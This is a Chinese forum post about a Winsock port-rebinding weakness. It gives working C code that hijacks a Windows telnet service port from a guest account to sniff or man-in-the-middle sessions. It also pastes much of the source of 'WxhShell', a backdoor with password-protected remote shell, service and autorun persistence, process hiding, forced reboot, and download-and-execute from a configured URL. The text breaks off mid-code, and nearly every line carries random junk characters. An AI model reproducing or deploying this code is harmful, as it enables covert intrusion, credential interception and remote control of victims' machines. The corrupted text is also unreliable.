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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: yuND0,e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ']V 2V)t  
\ZA%"F){  
  saddr.sin_family = AF_INET; J4<- C\=4  
W6Hiqu+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); '+$2<Ys  
^OUkFH;dG?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {W0@lMrD  
SQ@@79A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ^ H'|iju  
"UE'd Wz  
  这意味着什么?意味着可以进行如下的攻击: b*$^8%  
%;gD_H4mm  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 djk   
3]wV`mD  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) hNQ,U{`;^  
DJeG  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 *-2u0%  
En1pz\'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  k+&|*!j  
C6GYhG]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yHCBf)N7\  
vQA: \!  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TN&1C8xr  
Q|:\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )5B90[M|t  
x }-rAr  
  #include n *U1 M  
  #include ++xEMP)  
  #include Dk:Zeo]+my  
  #include    N1_nBQF )  
  DWORD WINAPI ClientThread(LPVOID lpParam);   HZR~r:_ i  
  int main() >hHn{3y  
  { w+P bT6;  
  WORD wVersionRequested; UAa2oY&  
  DWORD ret; R:=i/P/  
  WSADATA wsaData; hb`(d_=7F  
  BOOL val; U1B5gjN  
  SOCKADDR_IN saddr; $$AKz\  
  SOCKADDR_IN scaddr; QO0T<V  
  int err; 'H:lR1(,  
  SOCKET s; iz>a0~(K  
  SOCKET sc; <Cm:4)~  
  int caddsize;  s(F^P  
  HANDLE mt; .BZw7 YV  
  DWORD tid;   amOBUD5Ld`  
  wVersionRequested = MAKEWORD( 2, 2 ); TR| G4l?  
  err = WSAStartup( wVersionRequested, &wsaData ); W%) foJ  
  if ( err != 0 ) { #BF(#1:  
  printf("error!WSAStartup failed!\n"); taw #r  
  return -1; u.R:/H<>~  
  } KD=T04v  
  saddr.sin_family = AF_INET; 9_oIAn:<  
   HX?5O$<<N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Rax}r  
)9==6p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $GPenQ~},  
  saddr.sin_port = htons(23); TAIcp*)ZM  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CZt)Q4  
  { qK#\k@E  
  printf("error!socket failed!\n"); =D<46T=(RB  
  return -1; Ju Kj  
  } 0(h *< g:  
  val = TRUE; hBO I:4u[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3L/>=I{5  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OANn!nZ.  
  { 8tY],  
  printf("error!setsockopt failed!\n"); x4Y+?2  
  return -1; Xq1n1_Z  
  } `dx+Qp  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; P10`X&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 M8Q-x-7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7JQ5OC3  
v_En9~e^n  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) fOF02WP^  
  { J+kxb"#d  
  ret=GetLastError(); !Yz~HO,u+  
  printf("error!bind failed!\n"); W:ih#YW_F  
  return -1; Jr==AfxyT  
  } D/"[/!  
  listen(s,2); w%g@X6  
  while(1) ==l p\  
  { b Bb$0HOF  
  caddsize = sizeof(scaddr); H*?U@>UU  
  //接受连接请求 ]4@_KKP  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pdngM 8n  
  if(sc!=INVALID_SOCKET) kzMCI)>"  
  { T4F}MVK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ky[/7S5E  
  if(mt==NULL) &Ru|L.G`  
  { i-vhX4:bd  
  printf("Thread Creat Failed!\n"); x;?4AJ{  
  break; =\eM -"r  
  } j *Ta?'*  
  } :MV]OLRM  
  CloseHandle(mt); {+0]diD  
  } 7%c9 nY  
  closesocket(s); l`UJHX  
  WSACleanup(); dP=1*  
  return 0; <!v^Df  
  }   @0;9.jml,  
  DWORD WINAPI ClientThread(LPVOID lpParam) U}x2,`PI  
  { 47ppyh6@  
  SOCKET ss = (SOCKET)lpParam; bc}U &X<  
  SOCKET sc; CS)&A4`8  
  unsigned char buf[4096]; gLa# y  
  SOCKADDR_IN saddr; mnzamp  
  long num; Mc#uWmc 7  
  DWORD val; 3;zJ\a.+  
  DWORD ret; I,(m\NalK  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3k` "%R.H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ok/~E  
  saddr.sin_family = AF_INET; N)K};yMf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d kHcG&)  
  saddr.sin_port = htons(23); O8(;=exA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W$O^IC  
  { S7N3L."  
  printf("error!socket failed!\n"); \K.i8f,  
  return -1; p+ SFeUp  
  } kj~)#KDN  
  val = 100; d8`^;T ;}d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {mY<R`Ee  
  { 6a[D]46y,2  
  ret = GetLastError();  VT96ph  
  return -1; ]:(>r&'  
  } 'g$~ij ;x  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O&.^67\|  
  { I& l1b>  
  ret = GetLastError(); []/=!?5B  
  return -1; BQ{Gp 2N  
  } Vy.A`Hz  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8W)3rD>  
  { ](a*R  
  printf("error!socket connect failed!\n"); X+)68  
  closesocket(sc); %Rj:r!XB:  
  closesocket(ss); $,otW2:)  
  return -1; =B4U~|k  
  } ;X<#y2`  
  while(1) {>tgNW>)  
  { N3g[,BE  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 :BKY#uH~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 dRTtDH"%  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 D{'x7!5r  
  num = recv(ss,buf,4096,0); LbOjKM^-  
  if(num>0) b)J(0,9`G"  
  send(sc,buf,num,0); O|m-Uz"+  
  else if(num==0) an={h,  
  break; "(5A 5>  
  num = recv(sc,buf,4096,0); o[q Kf  
  if(num>0) 7GY[l3arxv  
  send(ss,buf,num,0); Iz,a Hrq  
  else if(num==0) !yU!ta Q  
  break; jo{[*]Oa  
  } I$xfCu  
  closesocket(ss); fT [JU1  
  closesocket(sc); [_*%  
  return 0 ; &MsnQP  
  } rD<G_%hP  
*2N$l>ql:k  
J7W]Str  
========================================================== LL|$M;S  
jv<BGr=4;  
下边附上一个代码,,WXhSHELL (.4mX t  
W4Rs9NA}  
========================================================== s <Pk[7`*  
"& 'h\  
#include "stdafx.h" 5VdF^.:u  
j:B?0~=  
#include <stdio.h> fiqeXE?E  
#include <string.h> 4CVtXi_Y  
#include <windows.h> s9svuFb  
#include <winsock2.h> ^M6xRkI  
#include <winsvc.h> -:b0fKn  
#include <urlmon.h> dPgN*Bdv  
fBBNP)  
#pragma comment (lib, "Ws2_32.lib") =u W+>;]  
#pragma comment (lib, "urlmon.lib") (b%&DyOt  
N-EVH e'}6  
#define MAX_USER   100 // 最大客户端连接数 y<jW7GNt  
#define BUF_SOCK   200 // sock buffer VCfa<hn  
#define KEY_BUFF   255 // 输入 buffer 5D 9I;L{  
bzD <6Z  
#define REBOOT     0   // 重启 oV"#1lp*  
#define SHUTDOWN   1   // 关机 v MTWtc!6  
*-"DZ  
#define DEF_PORT   5000 // 监听端口 BS*IrH H  
2<53y~Yi%  
#define REG_LEN     16   // 注册表键长度 ,pL%,>R5  
#define SVC_LEN     80   // NT服务名长度 ':YFm  
r(-`b8ZE  
// 从dll定义API FJJ+*3(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7.7P>U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]FV,}EZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s{x{/Bp(KK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); !\w@b`Iv8  
gFlUMfKh  
// wxhshell配置信息 at"-X?`d  
struct WSCFG { F;$z[z  
  int ws_port;         // 监听端口 NT+%u-  
  char ws_passstr[REG_LEN]; // 口令 5%M 'ewu  
  int ws_autoins;       // 安装标记, 1=yes 0=no [yj-4v%u`  
  char ws_regname[REG_LEN]; // 注册表键名 Ca}T)]//  
  char ws_svcname[REG_LEN]; // 服务名 46`(u"RP  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W2cgxT  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,S QmQ6h  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 T= Q"| S]V  
int ws_downexe;       // 下载执行标记, 1=yes 0=no d7 |3A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" j)?[S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ^W!w~g+  
AmYqrmJ  
}; NKyaR_q`  
> Q[L, I  
// default Wxhshell configuration -pEt=  
struct WSCFG wscfg={DEF_PORT, b5WtL+Z  
    "xuhuanlingzhe", $&D$Uc`U>  
    1, XL!\Lx  
    "Wxhshell", n:QFwwQ`Q;  
    "Wxhshell", kB~KC-&O  
            "WxhShell Service", ig G8L  
    "Wrsky Windows CmdShell Service", hH Kd+QpI  
    "Please Input Your Password: ", mx\b6w7  
  1, %&EDh2w>  
  "http://www.wrsky.com/wxhshell.exe", Iu(j"b#  
  "Wxhshell.exe" bWp40&vx  
    }; 08*O|Ym,  
+%Y`>1I^#  
// 消息定义模块 MZ9{*y[z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; O [Q;[@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xOfZ9@VU  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !a %6nBo  
char *msg_ws_ext="\n\rExit."; Um4$. BKD  
char *msg_ws_end="\n\rQuit."; #s"|8#  
char *msg_ws_boot="\n\rReboot..."; "Yh[-[,  
char *msg_ws_poff="\n\rShutdown..."; V* :Q~ ^  
char *msg_ws_down="\n\rSave to "; a-nf5w>&q  
gD$bn=  
char *msg_ws_err="\n\rErr!"; R.ZC|bPiD  
char *msg_ws_ok="\n\rOK!"; ;4E(n  
v-^7oai  
char ExeFile[MAX_PATH]; (WoKrd.!  
int nUser = 0; funHznRR  
HANDLE handles[MAX_USER]; c{X>i>l>  
int OsIsNt; I,rs&m?/m  
4[q'1N6-  
SERVICE_STATUS       serviceStatus; P1 \:hh  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^LaOl+;S  
<W$Ig@4[.d  
// 函数声明 W_]Su  
int Install(void); ZW+[f$X  
int Uninstall(void); A4C4xts]N  
int DownloadFile(char *sURL, SOCKET wsh); I\8f`l  
int Boot(int flag); |{)SLvlJl  
void HideProc(void); [ij8h,[~]  
int GetOsVer(void); d5b \kRr  
int Wxhshell(SOCKET wsl); RU r0K#]  
void TalkWithClient(void *cs); ?/EyfTex  
int CmdShell(SOCKET sock); `#v(MK{9+V  
int StartFromService(void); fi/[(RBG  
int StartWxhshell(LPSTR lpCmdLine); ^N{Lau  
T(n<@Ac]V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \QpH~&QIS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hh|a(Zq,  
rSGt`#E-s.  
// 数据结构和表定义 ow,4'f!d  
SERVICE_TABLE_ENTRY DispatchTable[] = ch^tq",1>  
{ |?a 4Nl?  
{wscfg.ws_svcname, NTServiceMain}, Jl,mYFEZ  
{NULL, NULL} 8Gw0;Uu8D  
}; k1EAmA l  
=f4v: j}'|  
// 自我安装 %Pz'D6 /  
int Install(void) c(]NpH in  
{ ,g2oqq ?  
  char svExeFile[MAX_PATH]; i]qVT)j  
  HKEY key; m/2LwN  
  strcpy(svExeFile,ExeFile); 2N,<~L`FX'  
K >-)O=$s  
// 如果是win9x系统,修改注册表设为自启动 !jV}sp<Xp  
if(!OsIsNt) { d#?.G3YmK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ka3(sctZ5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]#UyYgPk  
  RegCloseKey(key); h^u 9W7.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sz5&P )X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %*>ee[^L ,  
  RegCloseKey(key); NlBnV  
  return 0; LLa72HW  
    } sQBl9E'!be  
  } xz @/^Cj  
} =bVaB<!  
else { (#4   
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// 如果是NT以上系统,安装为系统服务 q#8$@*I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); UR/l M,N;  
if (schSCManager!=0) JWu^7}@~=  
{ $LS$:%i4  
  SC_HANDLE schService = CreateService Sdc yL%6!  
  ( i[gq8%  
  schSCManager, ~S\Ee 2e>  
  wscfg.ws_svcname, kfod[*3  
  wscfg.ws_svcdisp, Y#'?3  
  SERVICE_ALL_ACCESS, 7 TTU&7l~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8=]R6[,fD  
  SERVICE_AUTO_START, *3S ./ C}  
  SERVICE_ERROR_NORMAL, 6[-N})  
  svExeFile, 9~6FWBt  
  NULL, .?gpI Zv  
  NULL, S nMHk3(\  
  NULL, V b=Oz  
  NULL, jIZpv|t)  
  NULL m=Z1DJG  
  ); Q%.V\8#|V  
  if (schService!=0) n4albG4  
  { 3Mvm'T:[  
  CloseServiceHandle(schService); vgfLI}|5  
  CloseServiceHandle(schSCManager); `|p3@e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6K/j,e>L  
  strcat(svExeFile,wscfg.ws_svcname); {x3"/sF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IF<?TYy=3B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %p5%Fs`sd  
  RegCloseKey(key); 8vhg{L..  
  return 0; Q:.q*I!D<4  
    } 93z oJiLRf  
  } gm**9]k^{  
  CloseServiceHandle(schSCManager); "=7y6bM  
} =.@{ uu;  
} <&n\)R4C1  
[m>kOv6>^  
return 1; xWY%-CWY.  
} aS^ 4dEJ  
?GdoB7(%  
// 自我卸载 ;a]2hd"6  
int Uninstall(void) g]^@bxdg  
{ .OLm{  
  HKEY key; !/+'O}@-E  
S4/CL4=  
if(!OsIsNt) { $wL zaZL|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { efj[7K.h  
  RegDeleteValue(key,wscfg.ws_regname); OK{_WTCe>  
  RegCloseKey(key); 6,nws5dh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N5>ioJj  
  RegDeleteValue(key,wscfg.ws_regname); 9oOr-9t3  
  RegCloseKey(key); =!rdn#KH  
  return 0; /%E X4 W  
  } h n:  
} 4Wz@^7|V5  
} ZT*RD2,  
else { \'z&7;px  
K `|%-k+D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5)g6yV'  
if (schSCManager!=0) D6cqON0a.  
{ vrr&Ve  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *D&(6$[^  
  if (schService!=0) C&Nga `J  
  { zGtWyXP  
  if(DeleteService(schService)!=0) { 8y9oj9 ;E]  
  CloseServiceHandle(schService); n< npJ*  
  CloseServiceHandle(schSCManager); [)K?e!c8  
  return 0; H/qv%!/o  
  } +n]z'pijb  
  CloseServiceHandle(schService); [1 pWg^  
  } 6Fp}U  
  CloseServiceHandle(schSCManager); -4  ~(*  
} .Ux bwTup  
} IM""s]  
74Fv9  
return 1; tOQ2947zk  
} >ZAb9=/M)F  
_gAU`aO^  
// 从指定url下载文件 f{s}[p~  
int DownloadFile(char *sURL, SOCKET wsh) AoL2Wrk]\B  
{ '@~\(SH  
  HRESULT hr; [^oTC;  
char seps[]= "/"; r&$r=f<  
char *token; "x;|li3;  
char *file; 7w}PYp1Z'~  
char myURL[MAX_PATH]; 0A]+9@W;  
char myFILE[MAX_PATH]; <4l;I*:2&  
= JE4C9$,  
strcpy(myURL,sURL); ~353x%e'  
  token=strtok(myURL,seps); oP[R?zN  
  while(token!=NULL) Zo=w8Hr  
  { S6Er# )k  
    file=token; ;nzzt~aCC  
  token=strtok(NULL,seps); Sbf+;:D  
  } mpsi{%gA  
2u B66i  
GetCurrentDirectory(MAX_PATH,myFILE); itH` s<E  
strcat(myFILE, "\\"); G@Jl4iHug"  
strcat(myFILE, file); ymNL`GYN[  
  send(wsh,myFILE,strlen(myFILE),0); lWiC$  
send(wsh,"...",3,0); 8-f2$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UKfC!YR2J8  
  if(hr==S_OK) cJIA/HQe  
return 0; ZvQ~K(3  
else at N%csA0  
return 1; *x0nAo_n  
`W& :*  
} HU~,_m  
ZxvqLu  
// 系统电源模块 fo$5WTY  
int Boot(int flag) y2_^lW%  
{ do-mkvk  
  HANDLE hToken; MfJs?N0  
  TOKEN_PRIVILEGES tkp; 7W7!X\0Y  
Zze(Ik  
  if(OsIsNt) { ,JL Y oE+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @i" ^b  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bVLuv`A/  
    tkp.PrivilegeCount = 1; |FR'?y1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G!%Cc0d"7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9f wFSJx  
if(flag==REBOOT) { Q')0 T>F-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z`W @Od$f  
  return 0; 5O7 x4bY  
} \G+uK:PC,  
else {  q#=}T~4j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N9|v%-_?)  
  return 0; `S&$y4|Vs  
} _QS+{  
  } G`Ix-dADJm  
  else { XBTtfl &  
if(flag==REBOOT) { sF+mfoMtG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +!'rw D  
  return 0; xlhc`wdm  
} tB,1+I=   
else { ,hggmzA~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qaj~q(j~ C  
  return 0; L_k'r\L  
} 4a]$4LQV  
} s}O9[_v  
C}7 c:4c  
return 1; H*h7Y*([  
} C2Pw;iK_t  
H7I&Ky  
// win9x进程隐藏模块 (F wWyt  
void HideProc(void) R cz;|h8  
{ 9q4%s?)j  
pyf/%9R:d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4ox[,  
  if ( hKernel != NULL ) e*zt;SR  
  { K<_bG<tm_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~ .dmfA{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); | M|5Nc>W  
    FreeLibrary(hKernel); )-RI  
  } U6B-{l:W  
G(;C~kHX  
return; S(c&XJR  
} Kc%GxD`  
) vKZs:  
// 获取操作系统版本 #cZ<[K q6  
int GetOsVer(void) `L. kyL  
{ j3J\%7^i  
  OSVERSIONINFO winfo; Q`ALyp,9b  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Q#Vg5H4  
  GetVersionEx(&winfo); 8,l~e8&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;:Yz7<>Y,  
  return 1; tr<iFT}C  
  else ^1b/Y8&8A  
  return 0; "SV#e4C.  
} d7*fP S  
I|SQhbi  
// 客户端句柄模块 z|^+uL  
int Wxhshell(SOCKET wsl) BwpSw\\?@  
{ :d!qZFln  
  SOCKET wsh; _@gd9Fi7J  
  struct sockaddr_in client; f\{ynC2m  
  DWORD myID; uxjx~+qFd  
}1sFddGVt  
  while(nUser<MAX_USER) t.ci!#/d  
{ S=N3qBH6  
  int nSize=sizeof(client); 9c}mAg4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lDV}vuM<4  
  if(wsh==INVALID_SOCKET) return 1; v"LH^!/  
==?!z<I.d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /ZeN\ybx  
if(handles[nUser]==0) 4dgo*9  
  closesocket(wsh); ,8Yc@P_O  
else /4!.G#DLQ  
  nUser++; q9^6A90  
  } Hy9c<X[F9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); a  St  
0<n*8t?A-  
  return 0; uDWxIP,m  
} j mH=W)  
?}tWI7KI  
// 关闭 socket ]((Ix,ggP  
void CloseIt(SOCKET wsh) vK10p)ZV  
{ 6 #vc"5@M  
closesocket(wsh); Wj}PtQ%lp/  
nUser--; FB\lUO)U\c  
ExitThread(0); dHUcu@,  
} \@K KX  
f-BEfC,}'  
// 客户端请求句柄 \{RMj"w:  
void TalkWithClient(void *cs) f0h^ULd  
{ }nO[;2Na  
4uV,$/  
  SOCKET wsh=(SOCKET)cs; mx ]a@tu  
  char pwd[SVC_LEN]; dZ"B6L!^(  
  char cmd[KEY_BUFF]; VGPBD-6)  
char chr[1]; M;$LB@h  
int i,j; S Y7'S#  
Z6F^p8O-  
  while (nUser < MAX_USER) { ="<S1}.  
N;6@f*3_i  
if(wscfg.ws_passstr) { c@ea ;Cv  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B/n/bi8T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +kXj+2  
  //ZeroMemory(pwd,KEY_BUFF); D |lm,  
      i=0; Onqd2'%<  
  while(i<SVC_LEN) { t]QGyW A]  
P_Bhec|#fT  
  // 设置超时 `Qg#`  
  fd_set FdRead; M.loG4r!  
  struct timeval TimeOut; O6Gg?j  
  FD_ZERO(&FdRead); `H7V['  
  FD_SET(wsh,&FdRead); 2o\GU  
  TimeOut.tv_sec=8; uQYBq)p|  
  TimeOut.tv_usec=0; JBCJVWUt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;Bs^+R7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eT4+O5t  
#SR"Q`P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ! 54(K6a[  
  pwd=chr[0]; [HV9KAoA  
  if(chr[0]==0xd || chr[0]==0xa) { u>cU*E4/  
  pwd=0; VHUOI64*  
  break; ?Ww\D8yV&  
  } %mv9+WJN.  
  i++; 4=T>Iy  
    } UhX`BGpM{  
|RdiM&C7  
  // 如果是非法用户,关闭 socket HxgH*IMs  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BUozpqN}  
} 7fB:wPlG;  
}&o*ZY-1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j1LL[+G-"_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jgb>:]:  
aJ"Tt>Y[.~  
while(1) { 'za4c4b*u  
Hsoe?kUHF  
  ZeroMemory(cmd,KEY_BUFF); X[XSf=  
1Xv- e8M  
      // 自动支持客户端 telnet标准   n<x NE %  
  j=0; 9%VNzPzf  
  while(j<KEY_BUFF) { 'yWv @)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )$wX~k  
  cmd[j]=chr[0]; k?Bc^7l:  
  if(chr[0]==0xa || chr[0]==0xd) { t-vH\m  
  cmd[j]=0; pFu3FUO*;  
  break; p:,(r{*?  
  } `GG PkTN  
  j++; oXR%A7  
    } E+65  
415 95x:  
  // 下载文件 n{~W s^d  
  if(strstr(cmd,"http://")) { );$L#XpB  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pGy]t  
  if(DownloadFile(cmd,wsh)) ya9V+/i7T_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >D';i\2j&  
  else Ef;OrE""  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =9oN#4mWK  
  } *lN>RWbM%  
  else { Y dgaZJs  
Xeg g2.Kk  
    switch(cmd[0]) { hr8v O"tZN  
  D/CSR=b  
  // 帮助 PZQb.QAn  
  case '?': { K4vl#*qn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'w+T vOB  
    break; y@|gG&f T  
  } %#rH~E  
  // 安装 ]F@XGJN  
  case 'i': { ^G,]("di`  
    if(Install()) RNyw`>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )w8h2=l  
    else FuNc#n>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /\-qz$  
    break; 3|Q:tt'|#  
    } 1{oq8LB  
  // 卸载 Tn+6:<OFdO  
  case 'r': { `0tzQ>ZQq  
    if(Uninstall()) ,X&lVv#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -d+q+l>0  
    else blcd]7nK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R=IZFwr  
    break; "CdL?(  
    } +$:bzo_u  
  // 显示 wxhshell 所在路径 3,8>\yf`  
  case 'p': { Y"&&=M#  
    char svExeFile[MAX_PATH]; s[ |sfqB1`  
    strcpy(svExeFile,"\n\r"); 5!r?U  
      strcat(svExeFile,ExeFile); W6t"n_%?"  
        send(wsh,svExeFile,strlen(svExeFile),0); dnVl;L8L3  
    break; he0KzwBF  
    } Gb6t`dSzz  
  // 重启 GZ# 6}/;b  
  case 'b': { 6 6x> *  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PsTPGK#S  
    if(Boot(REBOOT)) n$Z@7r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i DV.L  
    else { q;a`*gX^  
    closesocket(wsh); I"4j152P|  
    ExitThread(0); Ycypd\q/  
    } W$7db%qFx  
    break; 2]n"7Z8(v8  
    } w#w lZ1f  
  // 关机 5|!x0H;  
  case 'd': { s5T$>+ a  
